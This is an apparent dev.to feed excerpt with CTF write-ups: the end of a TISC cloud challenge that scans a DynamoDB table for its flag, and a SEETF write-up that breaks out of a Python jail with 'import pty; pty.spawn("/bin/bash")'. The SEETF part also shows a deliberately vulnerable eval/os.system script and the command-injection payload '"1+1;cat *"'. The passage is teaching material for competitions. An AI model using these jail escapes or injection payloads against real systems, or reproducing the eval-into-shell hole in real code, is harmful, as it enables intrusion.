            &lt;span class="s2"&gt;"Version"&lt;/span&gt;: &lt;span class="s2"&gt;"2012-10-17"&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;,
        &lt;span class="s2"&gt;"VersionId"&lt;/span&gt;: &lt;span class="s2"&gt;"v1"&lt;/span&gt;,
        &lt;span class="s2"&gt;"IsDefaultVersion"&lt;/span&gt;: &lt;span class="nb"&gt;true&lt;/span&gt;,
        &lt;span class="s2"&gt;"CreateDate"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-07-22T09:29:34+00:00"&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Viewing Table
&lt;/h2&gt;

&lt;p&gt;I enumerated through DynamoDB to get the flag.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;root@ip-10-0-47-186 /]# aws dynamodb list-tables &lt;span class="nt"&gt;--region&lt;/span&gt; ap-southeast-1
aws dynamodb list-tables &lt;span class="nt"&gt;--region&lt;/span&gt; ap-southeast-1
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"TableNames"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"flag_db"&lt;/span&gt;
    &lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;root@ip-10-0-47-186 /]# aws dynamodb scan &lt;span class="nt"&gt;--table-name&lt;/span&gt; flag_db &lt;span class="nt"&gt;--region&lt;/span&gt; ap-southeast-1                
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"Count"&lt;/span&gt;: 1, 
    &lt;span class="s2"&gt;"Items"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
        &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"secret"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="s2"&gt;"S"&lt;/span&gt;: &lt;span class="s2"&gt;"TISC{iT3_N0t_s0_C1oUdy}"&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;, 
            &lt;span class="s2"&gt;"name"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="s2"&gt;"S"&lt;/span&gt;: &lt;span class="s2"&gt;"flag"&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;]&lt;/span&gt;, 
    &lt;span class="s2"&gt;"ScannedCount"&lt;/span&gt;: 1, 
    &lt;span class="s2"&gt;"ConsumedCapacity"&lt;/span&gt;: null
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;root@ip-10-0-47-186 /]#     
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Flag
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;TISC{iT3_N0t_s0_C1oUdy}&lt;/code&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>SEEing some Flags in SEETF</title>
      <dc:creator>Terence Chan Zun Mun</dc:creator>
      <pubDate>Sun, 14 Aug 2022 16:04:58 +0000</pubDate>
      <link>https://dev.to/hackin7/seeing-some-flags-in-seetf-2hge</link>
      <guid>https://dev.to/hackin7/seeing-some-flags-in-seetf-2hge</guid>
      <description>&lt;p&gt;Over the weekend, I participated in the &lt;a href="https://ctftime.org/event/1543"&gt;SEETF&lt;/a&gt; Capture The Flag Competition. My Team was NYCP, and we ended up doing average (I hope) at 114th place out of 740 teams (560 teams got &amp;gt;200 points)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--YJdpDihZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654445468040/kDvffTnFG.png%2520align%3D%2522left%2522" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--YJdpDihZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654445468040/kDvffTnFG.png%2520align%3D%2522left%2522" alt="image.png" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--0PyrVOIF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654445620649/LF3EE7xYR.png%2520align%3D%2522left%2522" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0PyrVOIF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654445620649/LF3EE7xYR.png%2520align%3D%2522left%2522" alt="Category Breakdown.png" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--BHb82c-O--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654445681763/WXrf975dG.png%2520align%3D%2522left%2522" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--BHb82c-O--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654445681763/WXrf975dG.png%2520align%3D%2522left%2522" alt="image.png" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Overall this was an interesting CTF. Some of the challenges had very interesting concepts, like the Weird Machines one (though I was too lazy and not good enough to solve them). Even the beginner challenges were well thought out, with useful resources included &lt;strong&gt;AND&lt;/strong&gt; applying them in interesting enough ways.&lt;/p&gt;

&lt;p&gt;I'll be going through some of the challenges that I focused on. I aim to go through it in detail for any beginners/n00bs (like myself lol). Basic Linux/ Python/ Web Programming knowledge is assumed.&lt;/p&gt;

&lt;p&gt;Some of my files are at my Github Repo &lt;a href="https://github.com/Hackin7/Programming-Crappy-Solutions/tree/master/Cyber%20Security/Capture%20the%20Flag%20Competitions/2022/SEETF"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Pwn
&lt;/h1&gt;

&lt;p&gt;I suck at pwn, but it's still fun so I'm still going to keep doing it&lt;/p&gt;

&lt;h2&gt;
  
  
  "as" "df"
&lt;/h2&gt;

&lt;p&gt;Firstly I tried finding all the global variables using &lt;code&gt;dir()&lt;/code&gt;, and there is an interesting variable named &lt;code&gt;blacklist&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;hacker&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;hackerbook&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;nc&lt;/span&gt; &lt;span class="n"&gt;fun&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chall&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seetf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sg&lt;/span&gt; &lt;span class="mi"&gt;50002&lt;/span&gt;
&lt;span class="n"&gt;Hello&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;Welcome&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;my&lt;/span&gt; &lt;span class="n"&gt;amazing&lt;/span&gt; &lt;span class="n"&gt;Python&lt;/span&gt; &lt;span class="n"&gt;interpreter&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;
&lt;span class="n"&gt;You&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="n"&gt;anything&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;want&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;but&lt;/span&gt; &lt;span class="n"&gt;take&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;there&lt;/span&gt;&lt;span class="s"&gt;'s a few blacklists!
Flag is in the root directory, have fun!
Enter command: dir()
Enter command: print(dir())
['&lt;/span&gt;&lt;span class="n"&gt;__annotations__&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;__builtins__&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;__cached__&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;__doc__&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;__file__&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;__loader__&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;__name__&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;__package__&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;__spec__&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;blacklist&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="s"&gt;']
Enter command: print(blacklist) 
('&lt;/span&gt;&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="k"&gt;exec&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="nb"&gt;ord&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt; &lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="s"&gt;', '&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="s"&gt;')
Enter command: 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I thought, that maybe if I cleared the variable, I could remove the blacklist entirely. This worked, as I could use the &lt;code&gt;import&lt;/code&gt; keyword. I imported a library to spawn a bash shell and allow for Remote Code Execution.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;base&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook ~]&lt;span class="nv"&gt;$ &lt;/span&gt;nc fun.chall.seetf.sg 50002
Hello! Welcome to my amazing Python interpreter!
You can run anything you want, but take not, there&lt;span class="s1"&gt;'s a few blacklists!
Flag is in the root directory, have fun!
Enter command: blacklist=()
Enter command: import pty; pty.spawn("/bin/bash")
random@app-8575d5795b-mqzr9:~$
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I then used this bash shell to find the flag from the root directory, and display its contents using &lt;code&gt;cat&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;random@app-8575d5795b-mqzr9:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /
&lt;span class="nb"&gt;cd&lt;/span&gt; /
random@app-8575d5795b-mqzr9:/&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls
ls
&lt;/span&gt;bin   dev  flag  lib    media  opt   root  sbin  sys  usr
boot  etc  home  lib64  mnt    proc  run   srv   tmp  var
random@app-8575d5795b-mqzr9:/&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;flag
&lt;span class="nb"&gt;cat &lt;/span&gt;flag
SEE&lt;span class="o"&gt;{&lt;/span&gt;every_ctf_must_have_a_python_jail_challenge_836a4218fb09b4a0ab0412e64de74315&lt;span class="o"&gt;}&lt;/span&gt;
random@app-8575d5795b-mqzr9:/&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Flag
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;SEE{every_ctf_must_have_a_python_jail_challenge_836a4218fb09b4a0ab0412e64de74315}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Wayang.py
&lt;/h2&gt;

&lt;p&gt;This is a simple command injection challenge that was satisfying to work through.&lt;/p&gt;

&lt;p&gt;These are the contents of wayang.py that were given&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/local/bin/python
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;

&lt;span class="n"&gt;FLAG_FILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"FLAG"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_input&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'''                 ,#####,
                 #_   _#
                 |a` `a|
                 |  u  |            ________________________
                 \  =  /           |        WAYYANG         |
                 |\___/|           &amp;lt;     TERMINAL  v1.0     |
        ___ ____/:     :\____ ___  |________________________|
      .'   `.-===-\   /-===-.`   '.
     /      .-"""""-.-"""""-.      &lt;/span&gt;&lt;span class="se"&gt;\
&lt;/span&gt;&lt;span class="s"&gt;    /'             =:=             '&lt;/span&gt;&lt;span class="se"&gt;\
&lt;/span&gt;&lt;span class="s"&gt;  .'  ' .:    o   -=:=-   o    :. '  `.
  (.'   /'. '-.....-'-.....-' .'\   '.)
  /' ._/   ".     --:--     ."   \_. '&lt;/span&gt;&lt;span class="se"&gt;\
&lt;/span&gt;&lt;span class="s"&gt; |  .'|      ".  ---:---  ."      |'.  |
 |  : |       |  ---:---  |       | :  |
  \ : |       |_____._____|       | : /
  /   (       |----|------|       )   &lt;/span&gt;&lt;span class="se"&gt;\
&lt;/span&gt;&lt;span class="s"&gt; /... .|      |    |      |      |. ...&lt;/span&gt;&lt;span class="se"&gt;\
&lt;/span&gt;&lt;span class="s"&gt;|::::/'' jgs /     |       \     ''\::::|
'""""       /'    .L_      `\       """"'
           /'-.,__/` `\__..-'&lt;/span&gt;&lt;span class="se"&gt;\
&lt;/span&gt;&lt;span class="s"&gt;          ;      /     \      ;
          :     /       \     |
          |    /         \.   |
          |`../           |  ,/
          ( _ )           |  _)
          |   |           |   |
          |___|           \___|
          :===|            |==|
           \  /            |__|
           /\/\           /"""`8.__
           |oo|           \__.//___)
           |==|
           \__/'''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"What would you like to do today?"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"1. Weather"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"2. Time"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"3. Tiktok of the day"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"4. Read straits times"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"5. Get flag"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"6. Exit"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;choice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&amp;gt;&amp;gt; "&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt;


&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;'__main__'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;choice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_input&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"CLEAR SKIES FOR HANDSOME MEN"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"IT'S ALWAYS SEXY TIME"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"https://www.tiktok.com/@benawad/video/7039054021797252399"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"which news article you want babe :)   "&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;not_allowed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;char&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;char&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;FLAG_FILE&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;char&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;char&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;not_allowed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"NICE TRY. WAYYANG SEE YOU!!!!!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"cat news.txt"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"cat &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;pass&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"NOT READY YET. MAYBE AFTER CTF????"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This line in option 4 in particular looks like injection can be done, eiither through &lt;code&gt;eval&lt;/code&gt; or command line injection.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;eval&lt;/code&gt; is a python function that evaluates its argument as python code. In other words, we could potentially custom inject some python code.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;eval(filename)&lt;/code&gt; is injected into the command through an f-string. This means that I could do a command injection to run Linux Commands.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;os.system(f"cat {eval(filename)}")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The variable &lt;code&gt;filename&lt;/code&gt; just needs to contain characters which are not in the variable &lt;code&gt;not_allowed&lt;/code&gt;. They are &lt;code&gt;FLAG&lt;/code&gt;. As such, we are free to use characters like &lt;code&gt;;&lt;/code&gt;, to chain togther linux commands.&lt;/p&gt;

&lt;p&gt;My eventual payload decided on was &lt;code&gt;"1+1;cat *"&lt;/code&gt;. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The quotes are to denote that the input parsed by &lt;code&gt;eval&lt;/code&gt; is a python string. &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;1+1&lt;/code&gt; is just some padding for the &lt;code&gt;cat&lt;/code&gt; in &lt;code&gt;f"cat {eval(filename)}"&lt;/code&gt; to parse. &lt;code&gt;cat 1+1&lt;/code&gt; would actually result in an error in the linux terminal, but I don't really care if other useless systems crash and burn :)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;;&lt;/code&gt; is a command delimiter. This means that&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cat *&lt;/code&gt; displays all the contents of all the files in the directory, where &lt;code&gt;cat&lt;/code&gt; shows the contents of file, and &lt;code&gt;*&lt;/code&gt; refers to all files in the directory. This would most likely include the flag file.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;base&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook ~]&lt;span class="nv"&gt;$ &lt;/span&gt;nc fun.chall.seetf.sg 50008
                 ,#####,
                 &lt;span class="c"&gt;#_   _#&lt;/span&gt;
                 |a&lt;span class="sb"&gt;`&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;a|
                 |  u  |            ________________________
                 &lt;span class="se"&gt;\ &lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;  /           |        WAYYANG         |
                 |&lt;span class="se"&gt;\_&lt;/span&gt;__/|           &amp;lt;     TERMINAL  v1.0     |
        ___ ____/:     :&lt;span class="se"&gt;\_&lt;/span&gt;___ ___  |________________________|
      .&lt;span class="s1"&gt;'   `.-===-\   /-===-.`   '&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
     /      .-&lt;span class="s2"&gt;"""""-.-"""""&lt;/span&gt;-.      &lt;span class="se"&gt;\&lt;/span&gt;
    /&lt;span class="s1"&gt;'             =:=             '&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
  .&lt;span class="s1"&gt;'  '&lt;/span&gt; .:    o   -&lt;span class="o"&gt;=&lt;/span&gt;:&lt;span class="o"&gt;=&lt;/span&gt;-   o    :. &lt;span class="s1"&gt;'  `.
  (.'&lt;/span&gt;   /&lt;span class="s1"&gt;'. '&lt;/span&gt;-.....-&lt;span class="s1"&gt;'-.....-'&lt;/span&gt; .&lt;span class="s1"&gt;'\   '&lt;/span&gt;.&lt;span class="o"&gt;)&lt;/span&gt;
  /&lt;span class="s1"&gt;' ._/   ".     --:--     ."   \_. '&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
 |  .&lt;span class="s1"&gt;'|      ".  ---:---  ."      |'&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;  |
 |  : |       |  &lt;span class="nt"&gt;---&lt;/span&gt;:---  |       | :  |
  &lt;span class="se"&gt;\ &lt;/span&gt;: |       |_____._____|       | : /
  /   &lt;span class="o"&gt;(&lt;/span&gt;       |----|------|       &lt;span class="o"&gt;)&lt;/span&gt;   &lt;span class="se"&gt;\&lt;/span&gt;
 /... .|      |    |      |      |. ...&lt;span class="se"&gt;\&lt;/span&gt;
